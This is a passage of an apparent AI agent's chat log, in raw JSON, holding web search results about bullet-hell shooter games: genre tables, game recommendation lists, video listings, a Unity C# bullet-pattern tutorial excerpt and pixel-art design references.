横向弹幕代表\n\n 1942 \"1942 (游戏)\")系列\n\n: 大型机台长青游戏之一\n\n## 参考文献\n\n[编辑]\n\n1. ^ 《Histoire Du Shooting Game》(法国游戏频道Game One(法语:Game One)的节目)\n\n## 参见\n\n[编辑]\n\n 卷轴射击游戏\n 视频弹幕\n\n| 查 论 编 电子游戏类型 | [...] | 动作 | 格斗 + 游戏列表(英语:List of fighting games) 平台动作 + 横向卷轴 + 纵向卷轴 清版动作 + QTE快速反应 + 砍杀 生存 + 恐怖生存 + 大逃杀 + 游戏列表(英语:List of survival games) 射击 + 第一人称 + 第三人称 + 战术模拟 - 撤离射击(英语:Extraction shooter) + 光线枪 + 清版射击 - 卷轴射击 - 弹幕射击 |\n| 动作冒险 | 类银河恶魔城 恐怖游戏 + 心理恐怖 + 突发惊吓 + 恐怖生存 隐蔽类游戏 类侠盗猎车手游戏 |\n| 冒险 | 密室逃脱 恋爱冒险 + 日本成人游戏 + 美少女 文字冒险 互动式电影 视觉小说 |\n| 大型多人在线 | 大型多人在线第一人称射击 大型多人在线角色扮演 + 游戏列表 大型多人在线即时战略 |\n| 角色扮演 | 动作角色扮演 + 魂系 迷宫探索 Roguelike + 不可思议迷宫 MUD + 多人在线角色扮演 战略角色扮演 |", "score": 0.6783488, "published_date": ""}, {"index": 3, "title": "弹幕射击游戏哪些人气高十大经典弹幕射击游戏精选 - 新浪财经", "url": "https://finance.sina.com.cn/tech/roll/2025-04-26/doc-ineunmex1100395.shtml", "content": "本文盘点了近年来备受玩家喜爱的十大经典弹幕射击游戏。包括太空题材横版射击的《Cryptark》、像素风格动作游戏《次元旅行者海王星TOP NEP》、Applava", "score": 0.65279555, "published_date": ""}, {"index": 4, "title": "国精吃瓜视频安卓下载v3.2.0_像素弹幕射击新作 - 鸿合HiteVision官网", "url": "https://www.hitevision.com/wiki_jfUxuxDh.htm", "content": "《国精吃瓜视频》是一款融合了经典像素风格与激烈弹幕射击玩法的手机游戏,以《我叫MT》IP为背景,带来全新的冒险体验。本文深度介绍游戏详情、特色", "score": 0.60274047, "published_date": ""}, {"index": 5, "title": "【资料】口袋中的弹幕——GBA STG综述(NW旅团原创)", "url": "https://www.newwise.com/guide_8/dc_15/2005-06/386FC52F-4ABF-63FA-C901-15363EDC708B.htm", "content": "游戏中机体的攻击方式较为特别,玩家可以选择两种模式的武器,分别为BEAM和HYPER,这两种模式在进行攻击的时候,不仅可以和通常状态下一样单发射击,还", "score": 0.5883458, "published_date": ""}, {"index": 6, "title": "11款你绝对不能错过的《子弹天堂》游戏", "url": "https://soulbound.game/zh/blog/best-bullet-heaven-games", "content": "游戏时长约20分钟,这使得《Brotato》非常适合在午休时间、通勤途中(游戏也支持移动端)游玩,或是那些“再玩一局”的时刻——这些时刻往往会比你预想的更快地累积起来。由于支持Steam创意工坊,即使你已经玩遍了基础内容,社区仍会源源不断地推出新角色和模组。只需4.99美元,在尚未接触社区内容之前,你就能轻松获得50多个小时的游戏体验。\n\n类型:竞技场射击 / 弹幕天堂 |盈利模式:买断制(4.99美元) |游玩方式: Steam平台《Brotato》\n\n如果你喜欢《Enter the Gungeon》中丰富多样的武器、快节奏的街机玩法,或是那些看似简单却暗藏深度的游戏,那么《Brotato》很可能会合你的胃口。\n\n## 4. 《Soulbound:在线》\n\n 最佳《子弹天堂》游戏 - 《Soulbound 》像素风MMORPG \n \n\n大多数“弹幕天堂”类游戏都是单人或本地合作模式。而《Soulbound: Online》则提出了另一个问题:如果这种充满狂热、画面爆满的战斗,发生在一个拥有数千名其他玩家的持久性多人在线世界中,会是怎样的情景?\n\n由Spiderware开发的《Soulbound 》Soulbound 像素艺术风格的MMORPG,其核心地牢战斗机制大量借鉴了Roguelike弹幕射击的设计。 玩家将深入程序生成的地牢,凭借不断扩充的技能库击退一波波敌人,收集战利品并不断向更深处推进。战斗节奏快节奏且混乱,完全符合该类型游戏粉丝的期待。但在地牢探险之余,玩家还可探索一个完整的虚拟世界:采集、制作、交易,并与社区玩家互动——该游戏在浏览器端运营期间,玩家数量已突破一百万。 [...] 每局游戏时长约为10分钟,这是开发者刻意为之的设计。《Nordic Ashes》尊重玩家的时间,无需投入30分钟就能获得成就感。 如果想进行更长时间的游戏,职业系统和难度调节器能提供足够的深度,但游戏绝不会因为你选择短时间游玩而惩罚你。售价9.99美元(经常打五折),虽然规模比这里提到的某些游戏要小,但它所呈现的内容,其精湛的制作水准令人赞叹。\n\n类型:北欧神话 / 弹幕射击 |盈利模式:买断制(9.99美元) |游玩方式: Steam平台《Nordic Ashes》\n\n如果你喜欢:《战神》中的北欧背景、《哈迪斯》的精美画风,或是那些重质量轻数量的弹幕游戏,那么《北欧灰烬》应该很适合你。\n\n## 10. 微不足道的梦想\n\n 最佳弹幕天堂游戏——《Picayune Dreams》独特的弹幕射击玩法 \n \n\n我原本以为《Picayune Dreams》只是又一款《吸血鬼幸存者》的仿制品,但玩完之后,我对刚刚的体验感到既困惑又惊喜——这种困惑是积极意义上的。这是本榜单中最奇特、艺术野心最大的游戏,而它也完全配得上这份野心。\n\n当大多数“弹幕天堂”类游戏都在简化该类型的弹幕射击根源时,《Picayune Dreams》却反其道而行之。位置选择至关重要,穿梭于敌方弹幕中的路线规划同样关键。你不能只是原地打转,指望自动攻击就能清空屏幕。这款游戏要求玩家主动迎战,并以此回报玩家——它提供了整个“生存类”游戏领域中最令人满足的游戏循环之一。 [...] 跳至内容\n\n《Soulbound:在线》\n\nBuy On Steam\n\n 博客,列表\n\n阅读时间 12 分钟\n\n最出色的“弹幕天堂”游戏颠覆了经典射击游戏的套路。你不再需要躲避成千上万的敌方弹幕,而是化身为毁灭风暴,凭借越来越离奇的武器和能力,将无尽的怪物浪潮尽数歼灭。自2022年《吸血鬼幸存者》开创这一游戏类型以来,数十家开发商已将这一概念拓展到了截然不同的方向。 有的侧重角色扮演式的成长系统,有的则聚焦资源采集、死灵法术,或是全规模的MMO战斗。以下是2026年值得你花时间体验的11款最佳弹幕天堂游戏。\n\n## 1. 《吸血鬼幸存者》——开启“子弹天堂”游戏先河的经典之作\n\n 最佳子弹天堂游戏 - 《吸血鬼幸存者》游戏截图 \n \n\n没有一份“必玩佳作”清单会不从这里开始,这绝非偶然。《吸血鬼幸存者》开创了一个全新游戏类型,四年过去了,它依然能与后来涌现的各类作品一较高下。你的角色只会走路,仅此而已。攻击是自动发出的。然而,poncle却将这一切化作现代游戏中最令人欲罢不能的游戏循环之一。\n\n游戏的精髓在于装备搭配。每次通关初始时你都十分弱小,需要从不断扩充的50多名角色中选择一位,每位角色都配有独特的初始武器。随着从倒下的敌人身上收集经验宝石,你将不断升级,并选择新的武器或被动技能升级。真正的魅力在于武器进化:将合适的武器与合适的被动道具组合,它便会蜕变为一种占据整个屏幕、令人惊叹的存在。 探索这些组合,在每次30分钟的通关中不断突破极限,解锁新角色、新关卡以及深埋在代码中的秘密……游戏始终为你带来源源不断的惊喜。", "score": 0.5775198, "published_date": ""}, {"index": 7, "title": "3D彈幕STG/-哔哩哔哩_bilibili", "url": "https://search.bilibili.com/all?keyword=3D%E5%BD%88%E5%B9%95STG%2F", "content": "SeiweLL · 06-20\n\n81751\n\n04:24\n\n### 快速制作STG弹幕游戏,开源项目Danmaku简单学习\n\nYurineko73 · 2022-02-15\n\n23969\n\n61:21:21\n\n### 枪械硬表面建模大师班:Blender+SP+八猴全流程 | 硬表面建模 / Blender / SP / Marmoset / UV烘焙 / AAA资产\n\n游戏设计哈基米 · 08-15\n\n3.0万14\n\n03:37\n\n### 【教程】弹弹Play使用教程!本地带弹幕看番工具,找番、追番、下番,一个软件全搞定!\n\n厨力君 · 2025-06-10\n\n276018\n\n07:42\n\n### 10款Steam好玩的清屏弹幕射击独立游戏推荐-Bullet Hell Indie Games 001\n\n昭柴猫的猫老师 · 08-08\n\n1820\n\n02:23\n\n### av277610全弹幕\n\n小胖仔2号 · 08-02\n\n97670\n\n37:56\n\n### 独家首发!儿子双人合作《子弹和脑子》正式版 Bullets & Brains 手感不错的俯视角打僵尸的3D射击游戏。\n\nYGYL2 · 2025-11-09\n\n6.2万84\n\n03:28\n\n### 您管这叫弹幕游戏???爆裂魔女11-8地狱公爵但他林。\n\n九玖灬辉 · 2021-10-19\n\n1.3万30\n\n13:19\n\n### 《僵尸前线3D》圣诞版\n\n一往无前阿尔泰 · 2020-02-03\n\n00\n\n00:26\n\n### 超级无敌游戏:【蜜tun骑士】弹幕STG+中文动态+PC安卓双端 解压即玩 无需安装!!!\n\nbili\\_73306705539 · 1小时前\n\n13.8万1696\n\n12:14\n\n### 某UP作死打开号称B站最卡弹幕! - 緋色月下、狂咲ノ絶全弹幕装填无卡 [...] 13.8万1696\n\n12:14\n\n### 某UP作死打开号称B站最卡弹幕! - 緋色月下、狂咲ノ絶全弹幕装填无卡\n\nTheAtomicBomb · 2017-11-19\n\n86831\n\n03:00\n\n### 你玩过弹幕游戏么\n\n行业星球 · 2025-03-19\n\n1.3万65\n\n04:53:26\n\n### 经典飞行射击游戏 雷霆战机 XTOM 3D 精彩通关视频 (10P)\n\nAya00nami · 2020-06-17\n\n136.2万4958\n\n04:54\n\n### 音乐与弹幕同步 3.⑤\n\nAR-MOR · 2009-07-03\n\n42353\n\n19:09\n\n### 这或许是弹幕游戏里最凶残的攻击之一,不用修改器根本扛不住。黄昏的天使BOSS弹幕大全(重置永恒天使篇)\n\n抱歉走错了 · 2024-09-21\n\n8312\n\n32:50\n\n### 【搬运】Danmaku Unlimited 3 - Graze-Mode True 1cc Type-EA 56,832,633,635 by PAZZY\n\nloveyy\\_sor · 2017-04-01\n\n14830\n\n24:18\n\n### 【IOS-STG】IOS平台绝版弹幕飞行射击APP - 风暴打击者(Storm Strikers)全流程演示\n\n社长库拉的小粉丝 · 2024-03-16\n\n2.0万11\n\n07:08\n\n### 面对弹幕地狱也毫不畏惧,steam上超酷的清版射击类游戏合集【PC/Steam游戏推荐】\n\n六味蛋黄丸 · 2023-08-19\n\n165.0万6375\n\n07:04\n\n### 【3D东方】永夜抄 - part 1\n\n伊吹小秋 · 2022-01-22\n\n6930\n\n09:04\n\n### 个人自制3d弹幕游戏\n\n清何旭 · 2024-09-11\n\n10.0万16\n\n51:52 [...] 167.9万3.1万\n\n28:23\n\n### 【东方3D】灵梦与幽幽子的弹幕游戏\n\n牛牛蝎羯 · 2014-01-18\n\n4.8万349\n\n25:35\n\n### 原作弹幕 vs 3d弹幕【古明地恋】\n\n阳光偷摸0 · 2019-04-28\n\n### 【AI 3D建模】打印总失败?Tripo AI智能拓扑避坑\n\nTripo 3D建模\n\n36.3万666\n\n04:17\n\n### 【3D东方】大東方展2023弹幕战\n\n伊吹小秋 · 2024-03-18\n\n13162\n\n28:01\n\n[### STG[弹幕无限3]∽ SPIRIT模式 True难度 真BOSS击破](//www.bilibili.com/video/BV1yb411w753/)\n\nG厄页U · 2018-11-04\n\n187.7万1.3万\n\n13:52\n\n### 【3D东方】Brambly Boundaries\n\n伊吹小秋 · 2019-04-27\n\n1.9万2\n\n03:01\n\n[### [东方对战型STG] 雷鼓与咲夜的弹幕对战](//www.bilibili.com/video/BV1Za411e7SM/)\n\n魔女的舞会 · 2022-04-13\n\n478652\n\n34:04\n\n### 弹幕无限3 graze模式ture难度 现记录2481E by.pazzy\n\n瓶装大蝴蝶 · 2017-04-09\n\n9.1万41\n\n00:51\n\n### 东方同人3d弹幕射击游戏《幻想讨幻经 | Touhou Machanical Scrollry》PV\n\n东游鉴 · 2020-02-20\n\n6.8万9\n\n10:12\n\n### 【B站最全3D版本】寄明月(可带3D眼镜观看)\n\n康康3D影视工作室 · 2020-08-21\n\n73.8万790\n\n12:39\n\n### VR 3D视频:星球大战般的战斗机飞行体验", "score": 0.5518883, "published_date": ""}, {"index": 8, "title": "弹幕射击游戏(STG)程序设计", "url": "https://farinacg.com/%E5%BC%B9%E5%B9%95%E5%B0%84%E5%87%BB%E6%B8%B8%E6%88%8F%EF%BC%88STG%EF%BC%89%E7%A8%8B%E5%BA%8F%E8%AE%BE%E8%AE%A1.html", "content": "{new\\_bullet.transform.rotation =Quaternion.AngleAxis(-Mathf.Atan(Mathf.Abs(new\\_bullet.transform.position.y - character.transform.position.y) /Mathf.Abs(new\\_bullet.transform.position.x - character.transform.position.x)) /Mathf.Deg2Rad+270,Vector3.forward);//弹幕射击character 的方向}else//第三象限(-,-){new\\_bullet.transform.rotation =Quaternion.AngleAxis(Mathf.Atan(Mathf.Abs(new\\_bullet.transform.position.y - character.transform.position.y) /Mathf.Abs(new\\_bullet.transform.position.x - character.transform.position.x)) /Mathf.Deg2Rad+270,Vector3.forward);}}\n\n2.圆形弹幕\n\n圆形弹幕是道中怪物常用的弹幕,即以怪物为中心一瞬间向周围固定方向发射一圈弹幕,弹幕虽然快但是因为并不是360全覆盖所以安定点有很多,不过如果一下出来一队的怪物全部发射圆形弹幕那就要另外寻找安定点的交集了。\n\n怪物开始射击。利用for循环进行子弹的实例化,并且在实例化的同时直接改变子弹在实例化出来的角度,这样子弹实例化一圈时其实他们的轴向就是固定好的一圈,就会直接向各自的方向移动实现圆形弹幕射击。\n\nfor(inti = 0; i < 360 / 10;i++ ){ [...] if(gameObject.tag ==\"skill3\\_bullet\\_down\")\n\n{gameObject.transform.Translate(Vector2.right \\Time.deltaTime \\ 0.5f);}\n\nif(gameObject.tag ==\"skill3\\_bullet\\_up\"){\n\ngameObject.transform.Translate(Vector2.left \\Time.deltaTime \\ 0.5f);}\n\nif(gameObject.tag ==\"skill3\\_bullet\\_left\"){\n\ngameObject.transform.Translate(Vector2.down \\Time.deltaTime \\ 0.5f);}\n\nif(gameObject.tag ==\"skill3\\_bullet\\_right\"){\n\ngameObject.transform.Translate(Vector2.up \\Time.deltaTime \\ 0.5f);}}\n\n \n\n通过以上的内容对STG大体有了了解,不过要想真的做出华丽的弹幕则需要设计者更加丰富的想象力,利用基础弹幕,螺旋弹幕,变速旋转弹幕,及其花型弹幕等进行更多的设计才能得到更加漂亮的弹幕,那时就能更深的感受到弹幕的魅力。\n\n太田顺也.The Grimoire of Marisa グリモワール オブ マリサ(1996-2009)[Z].日本:一迅社,2009.\n\n孙家广.计算机图形学[M].北京:清华大学出版社,1998.\n\n李春葆.C#程序设计教程(第2版)[M].北京:清华大学出版社,2013.\n\n王红梅,胡明,王涛编著.数据结构(C++版)[M].北京:清华大学出版社,2011.6. [...] }}}\n\nif(BOSS\\_come.skill3==true){\n\nif(gameObject.tag ==\"skill3\\_bullet\\_down\"|| gameObject.tag ==\"skill3\\_bullet\\_right\"|| gameObject.tag ==\"skill3\\_bullet\\_left\"|| gameObject.tag ==\"skill3\\_bullet\\_up\"){if(Time.time - test\\_time > 2.0f){transform.Rotate(Vector3.back \\Time.deltaTime \\ 45.0f);//最外圈半径transform.RotateAround(newVector2(circle\\_O.position.x, circle\\_O.position.y),Vector3.back,30\\Time.deltaTime);//转圈速度}}}\n\nif(gameObject.tag ==\"spiral\\_bullet\"&&enemy\\_bullet.skill01==false){\n\ngameObject.transform.Translate(Vector2.up \\Time.deltaTime \\ 0.5f);}\n\nif(gameObject.tag ==\"wp\\_bullet\"){gameObject.transform.Translate(Vector2.up \\Time.deltaTime \\ 0.25f);}\n\nif(BOSS\\_come.skill3==true)//技能三 花型弹幕{\n\nif(gameObject.tag ==\"skill3\\_bullet\\_down\")", "score": 0.55072874, "published_date": ""}, {"index": 9, "title": "《neko》復古風格2D 像素風格Roguelite 彈幕射擊遊戲【放視 ...", "url": "https://www.youtube.com/watch?v=PfUVYypi86E", "content": "《Neko》是一款由兩名學生製作的輕鬆向Roguelite 遊戲,玩家要謹慎選擇技能、搭配實機施放,並運用走位技巧才能找出致勝的關鍵。遊戲融合了輕鬆愉快的", "score": 0.5354634, "published_date": ""}, {"index": 10, "title": "r/Games 类型讨论- 弹幕游戏 - Reddit", "url": "https://www.reddit.com/r/Games/comments/2cyesw/rgames_genre_discussion_bullet_hell?tl=zh-hans", "content": "风格的射击游戏, 就像《宇宙巡航机》或者《雷电》这样的射击游戏,只不过弹幕的模式更复杂/密集。玩家的判定框通常也只有几个像素宽。", "score": 0.5180835, "published_date": ""}], "total_results": 10}}, "tool_call_id": "web_search_0", "name": "web_search"}, {"role": "tool", "content": "{\"success\": true, \"summary\": \"🔍 搜索查询: pixel art bullet hell game weapon enemy bullet pattern design reference\\n📅 搜索时间: 2026-08-23T12:29:05.455639\\n🎯 过滤条件: Topic: general\\n\\n📊 搜索结果:\\n\\n1. Best Pixel Art Bullet Hell Games – DEMAGAGA\\n 🔗 https://www.demagaga.com/2026/06/22/best-pixel-art-bullet-hell-games\\n 📄 Enter the Gungeon is one of the most celebrated pixel art bullet hell roguelikes of the modern era, blending classic twin stick shooting with fast paced dungeon crawling and relentless projectile chao...\\n\\n2. BULLET HELL SHMUP DESIGN 101 | Bullet Patterns : r/shmupdev - Reddit\\n 🔗 https://www.reddit.com/r/shmupdev/comments/13w730k/bullet_hell_shmup_design_101_bullet_patterns\\n 📄 Enemy bullets should always be drawn on top of other game objects such as player sprites, projectiles, items and explosions. Use bullet size and\\n\\n3. Top free game assets tagged Bullet Hell and Pixel Art - itch.io\\n 🔗 https://itch.io/game-assets/free/tag-bullet-hell/tag-pixel-art\\n 📄 Low-poly 3d Bullet Kin sketch. Made with picoCAD for picoCAD Jam #7: Weapon\\n\\n4. Bullet Hell Shooter - Shooter Template | Summer Engine\\n 🔗 https://www.summerengine.com/templates/shooter/bullet-hell/bullet-hell\\n 📄 Bullet Hell Shooter\\n\\n## About this template\\n\\nBullet hell is a genre built on an impossible-looking screen that turns out to have a path through it. Dense projectile patterns fired in mathematical arra...\\n\\n5. A Summary of 15 Beautiful Bullet Hell Patterns in Danmaku Shooters|npaka\\n 🔗 https://note.com/npaka/n/n5d38b7d84173?hl=en\\n 📄 In this article, I will classify representative bullet patterns frequently used in bullet hell shooters from the perspectives of visual aesthetics and game design.\\n\\n## 2. 15 Selected Beautiful Bullet ...\\n\\n6. Top game assets tagged Bullet Hell and Pixel Art - itch.io\\n 🔗 https://itch.io/game-assets/tag-bullet-hell/tag-pixel-art\\n 📄 Explore game assets tagged Bullet Hell and Pixel Art on itch.io · Upload your game assets to itch.io to have them show up here. Subscribe for game recommendations, clips, and more ... This is a top do...\\n\\n7. Medium\\n 🔗 https://tedlim-65557.medium.com/day-49-bullet-hell-pattern-2d-space-shooter-series-c91e4eccad7c\\n 📄 Sign up\\n\\nSign in\\n\\nSign up\\n\\nSign in\\n\\nUnknown user\\nTed Lim\\n\\n## Ted Lim\\n\\n# Day 49 | Bullet Hell Pattern: 2D Space Shooter Series\\n\\nTed Lim\\n\\n--\\n\\nListen\\n\\nShare\\n\\nAfter implementing our Object Pooler, we’re n...\\n\\n8. Bullet Hell - Week 25 - Boss Design\\n 🔗 https://www.youtube.com/watch?v=zEPgFaIpa6o\\n 📄 # Bullet Hell - Week 25 - Boss Design\\n## DragoniteSpam\\n12500 subscribers\\n17 likes\\n\\n### Description\\n718 views\\nPosted: 24 Aug 2022\\nHere are the basic bullet patterns of boss enemies! They'll get a lot m...\\n\\n9. Top game assets tagged Bullet Hell - itch.io\\n 🔗 https://itch.io/game-assets/tag-bullet-hell\\n 📄 16Bit Bullets, Explosions & Misc Asset Pack - Pixel Art // Shooter/Shmup // Classic & Bullet Hell Style · Free Player Bullets!! Paid pack includes Player Ship plus explosions ... PNG | HIGH QUALITY! ....\\n\\n10. Pixel art blog — SLYNYRD\\n 🔗 https://www.slynyrd.com/blog\\n 📄 If the game is a bullet-hell with high bullet density, the player hit box should be very small. If bullet density is low, the player hit box can be made a bit larger, and enemy bullet speeds can be qu...\", \"query\": \"pixel art bullet hell game weapon enemy bullet pattern design reference\", \"filters\": {\"topic\": \"general\"}, \"total_results\": 10, \"results\": [{\"index\": 1, \"title\": \"Best Pixel Art Bullet Hell Games – DEMAGAGA\", \"url\": \"https://www.demagaga.com/2026/06/22/best-pixel-art-bullet-hell-games\"}, {\"index\": 2, \"title\": \"BULLET HELL SHMUP DESIGN 101 | Bullet Patterns : r/shmupdev - Reddit\", \"url\": \"https://www.reddit.com/r/shmupdev/comments/13w730k/bullet_hell_shmup_design_101_bullet_patterns\"}, {\"index\": 3, \"title\": \"Top free game assets tagged Bullet Hell and Pixel Art - itch.io\", \"url\": \"https://itch.io/game-assets/free/tag-bullet-hell/tag-pixel-art\"}, {\"index\": 4, \"title\": \"Bullet Hell Shooter - Shooter Template | Summer Engine\", \"url\": \"https://www.summerengine.com/templates/shooter/bullet-hell/bullet-hell\"}, {\"index\": 5, \"title\": \"A Summary of 15 Beautiful Bullet Hell Patterns in Danmaku Shooters|npaka\", \"url\": \"https://note.com/npaka/n/n5d38b7d84173?hl=en\"}, {\"index\": 6, \"title\": \"Top game assets tagged Bullet Hell and Pixel Art - itch.io\", \"url\": \"https://itch.io/game-assets/tag-bullet-hell/tag-pixel-art\"}, {\"index\": 7, \"title\": \"Medium\", \"url\": \"https://tedlim-65557.medium.com/day-49-bullet-hell-pattern-2d-space-shooter-series-c91e4eccad7c\"}, {\"index\": 8, \"title\": \"Bullet Hell - Week 25 - Boss Design\", \"url\": \"https://www.youtube.com/watch?v=zEPgFaIpa6o\"}, {\"index\": 9, \"title\": \"Top game assets tagged Bullet Hell - itch.io\", \"url\": \"https://itch.io/game-assets/tag-bullet-hell\"}, {\"index\": 10, \"title\": \"Pixel art blog — SLYNYRD\", \"url\": \"https://www.slynyrd.com/blog\"}]}", "timestamp": "2026-08-23T12:29:05.493559", "message_id": "msg_ece33067b27845f8b2f95e149d2e1b81", "metadata": {"tool_payload": {"success": true, "summary": "🔍 搜索查询: pixel art bullet hell game weapon enemy bullet pattern design reference\n📅 搜索时间: 2026-08-23T12:29:05.455639\n🎯 过滤条件: Topic: general\n\n📊 搜索结果:\n\n1. Best Pixel Art Bullet Hell Games – DEMAGAGA\n 🔗 https://www.demagaga.com/2026/06/22/best-pixel-art-bullet-hell-games\n 📄 Enter the Gungeon is one of the most celebrated pixel art bullet hell roguelikes of the modern era, blending classic twin stick shooting with fast paced dungeon crawling and relentless projectile chao...\n\n2. BULLET HELL SHMUP DESIGN 101 | Bullet Patterns : r/shmupdev - Reddit\n 🔗 https://www.reddit.com/r/shmupdev/comments/13w730k/bullet_hell_shmup_design_101_bullet_patterns\n 📄 Enemy bullets should always be drawn on top of other game objects such as player sprites, projectiles, items and explosions. Use bullet size and\n\n3. Top free game assets tagged Bullet Hell and Pixel Art - itch.io\n 🔗 https://itch.io/game-assets/free/tag-bullet-hell/tag-pixel-art\n 📄 Low-poly 3d Bullet Kin sketch. Made with picoCAD for picoCAD Jam #7: Weapon\n\n4. Bullet Hell Shooter - Shooter Template | Summer Engine\n 🔗 https://www.summerengine.com/templates/shooter/bullet-hell/bullet-hell\n 📄 Bullet Hell Shooter\n\n## About this template\n\nBullet hell is a genre built on an impossible-looking screen that turns out to have a path through it. Dense projectile patterns fired in mathematical arra...\n\n5. A Summary of 15 Beautiful Bullet Hell Patterns in Danmaku Shooters|npaka\n 🔗 https://note.com/npaka/n/n5d38b7d84173?hl=en\n 📄 In this article, I will classify representative bullet patterns frequently used in bullet hell shooters from the perspectives of visual aesthetics and game design.\n\n## 2. 15 Selected Beautiful Bullet ...\n\n6. Top game assets tagged Bullet Hell and Pixel Art - itch.io\n 🔗 https://itch.io/game-assets/tag-bullet-hell/tag-pixel-art\n 📄 Explore game assets tagged Bullet Hell and Pixel Art on itch.io · Upload your game assets to itch.io to have them show up here. Subscribe for game recommendations, clips, and more ... This is a top do...\n\n7. Medium\n 🔗 https://tedlim-65557.medium.com/day-49-bullet-hell-pattern-2d-space-shooter-series-c91e4eccad7c\n 📄 Sign up\n\nSign in\n\nSign up\n\nSign in\n\nUnknown user\nTed Lim\n\n## Ted Lim\n\n# Day 49 | Bullet Hell Pattern: 2D Space Shooter Series\n\nTed Lim\n\n--\n\nListen\n\nShare\n\nAfter implementing our Object Pooler, we’re n...\n\n8. Bullet Hell - Week 25 - Boss Design\n 🔗 https://www.youtube.com/watch?v=zEPgFaIpa6o\n 📄 # Bullet Hell - Week 25 - Boss Design\n## DragoniteSpam\n12500 subscribers\n17 likes\n\n### Description\n718 views\nPosted: 24 Aug 2022\nHere are the basic bullet patterns of boss enemies! They'll get a lot m...\n\n9. Top game assets tagged Bullet Hell - itch.io\n 🔗 https://itch.io/game-assets/tag-bullet-hell\n 📄 16Bit Bullets, Explosions & Misc Asset Pack - Pixel Art // Shooter/Shmup // Classic & Bullet Hell Style · Free Player Bullets!! Paid pack includes Player Ship plus explosions ... PNG | HIGH QUALITY! ....\n\n10. Pixel art blog — SLYNYRD\n 🔗 https://www.slynyrd.com/blog\n 📄 If the game is a bullet-hell with high bullet density, the player hit box should be very small. If bullet density is low, the player hit box can be made a bit larger, and enemy bullet speeds can be qu...", "filters": {"topic": "general"}, "query": "pixel art bullet hell game weapon enemy bullet pattern design reference", "results": [{"index": 1, "title": "Best Pixel Art Bullet Hell Games – DEMAGAGA", "url": "https://www.demagaga.com/2026/06/22/best-pixel-art-bullet-hell-games", "content": "Enter the Gungeon is one of the most celebrated pixel art bullet hell roguelikes of the modern era, blending classic twin stick shooting with fast paced dungeon crawling and relentless projectile chaos. Developed by Dodge Roll, the game drops players into the depths of a gun themed fortress where nearly every enemy, boss, and environmental hazard unleashes elaborate bullet patterns that demand precision movement and quick reflexes. What sets Enter the Gungeon apart from traditional bullet hell games is its massive arsenal of hundreds of guns, items, and synergies that transform each run into a new experiment in destruction. The pixel art style is crisp and expressive, filled with clever weapon references and humorous visual design. Combined with tight controls, procedural level [...] ZeroRanger is a love letter to the golden age of arcade shooters, combining pixel art visuals with masterfully designed bullet hell gameplay. Developed by System Erasure, the game follows two pilots battling a mysterious alien force while navigating intricate projectile patterns and massive boss fights. The pixel art presentation is stunning, with detailed ships, vibrant explosions, and imaginative enemy designs that evoke classic arcade aesthetics. What truly sets ZeroRanger apart is its narrative structure and surprising gameplay twists that unfold as players progress. The game rewards persistence and skill mastery, encouraging players to learn enemy patterns and refine their movement through repeated attempts. With its polished mechanics, memorable soundtrack, and clever storytelling, [...] Devil Daggers is a minimalist horror shooter that transforms bullet hell gameplay into a relentless survival challenge. Players stand in a small arena while demonic enemies spawn endlessly, filling the air with projectiles and deadly hazards. Armed with magical daggers, players must eliminate enemies quickly while weaving through increasingly dense bullet patterns. The pixel inspired aesthetic uses retro textures and low resolution visuals that evoke the early days of 3D shooters while maintaining a surreal atmosphere. Every second survived increases the difficulty as new enemy types appear with more complex attack patterns. The game’s scoring system encourages players to push for longer survival times while mastering movement and precision shooting. Devil Daggers’ hypnotic intensity and", "score": 0.86080295, "published_date": ""}, {"index": 2, "title": "BULLET HELL SHMUP DESIGN 101 | Bullet Patterns : r/shmupdev - Reddit", "url": "https://www.reddit.com/r/shmupdev/comments/13w730k/bullet_hell_shmup_design_101_bullet_patterns", "content": "Enemy bullets should always be drawn on top of other game objects such as player sprites, projectiles, items and explosions. Use bullet size and", "score": 0.7724109, "published_date": ""}, {"index": 3, "title": "Top free game assets tagged Bullet Hell and Pixel Art - itch.io", "url": "https://itch.io/game-assets/free/tag-bullet-hell/tag-pixel-art", "content": "Low-poly 3d Bullet Kin sketch. Made with picoCAD for picoCAD Jam #7: Weapon", "score": 0.6944897, "published_date": ""}, {"index": 4, "title": "Bullet Hell Shooter - Shooter Template | Summer Engine", "url": "https://www.summerengine.com/templates/shooter/bullet-hell/bullet-hell", "content": "Bullet Hell Shooter\n\n## About this template\n\nBullet hell is a genre built on an impossible-looking screen that turns out to have a path through it. Dense projectile patterns fired in mathematical arrangements create a puzzle that moves toward the player. The hitbox is tiny. The patterns are learnable. The skill is in recognizing patterns faster and moving with more precision each time you play.\n\nBuild the shmup you want by describing your enemy patterns, your ship weapon system, and your boss fight designs. Summer Engine builds the projectile spawner, the hitbox system, and the pattern sequencer. You focus on designing the moments of visual beauty and mechanical terror that make bullet hell unforgettable. [...] ## Highlights\n\n ### Boss Rush\n\n Build a game that is entirely boss fights. Each boss has distinct phases with escalating pattern complexity. No filler stages between memorable encounters.\n ### Vertical Scrolling Shmup\n\n Build a classic vertical scroller with stage enemies, mid-bosses, and a climactic final boss. Each stage introduces a new enemy type and pattern vocabulary.\n ### Roguelite Bullet Hell\n\n Layer random power-up selection between rooms on top of the core bullet hell gameplay. Each run creates a different weapon build that changes how players approach patterns.\n\n## Related Templates\n\nView All\n\nTwin-Stick Shooter\n\n### Twin-Stick Shooter [...] The best bullet hell games are works of authored craft. Every bullet in a boss pattern has a place. Every gap is designed to require exactly the right movement. When players survive a pattern they could not read last time, it is one of the most satisfying feelings in games. This is the game you are here to create.\n\n## Who it's for\n\n Solo devs who love the genre and want to create their own take on classic vertical or horizontal scrolling shmups.\n Designers with specific boss fight pattern ideas who need a working projectile system to test them in.\n Teams building a game for shmup fans who want something that rewards pattern mastery and repeated play.\n Anyone making a game where visual spectacle and precise movement combine into a singular experience.\n\n## Highlights\n\n ### Boss Rush", "score": 0.6241337, "published_date": ""}, {"index": 5, "title": "A Summary of 15 Beautiful Bullet Hell Patterns in Danmaku Shooters|npaka", "url": "https://note.com/npaka/n/n5d38b7d84173?hl=en", "content": "In this article, I will classify representative bullet patterns frequently used in bullet hell shooters from the perspectives of visual aesthetics and game design.\n\n## 2. 15 Selected Beautiful Bullet Patterns\n\n### 2-1. Radial\n\nThis is the most basic bullet pattern, spreading in all directions from a center point. By firing bullets evenly in 360 degrees around an enemy, it creates a look similar to fireworks or ripples. Radial systems have a clear structure and are easy to handle as a foundation for bullet patterns. By slightly shifting the angle with each consecutive shot, even simple omnidirectional bullets can gain a sense of movement.\n\n・Suitable Uses [...] ## 4. Basic parameters for implementation\n\nBullet patterns can generally be created by combining the 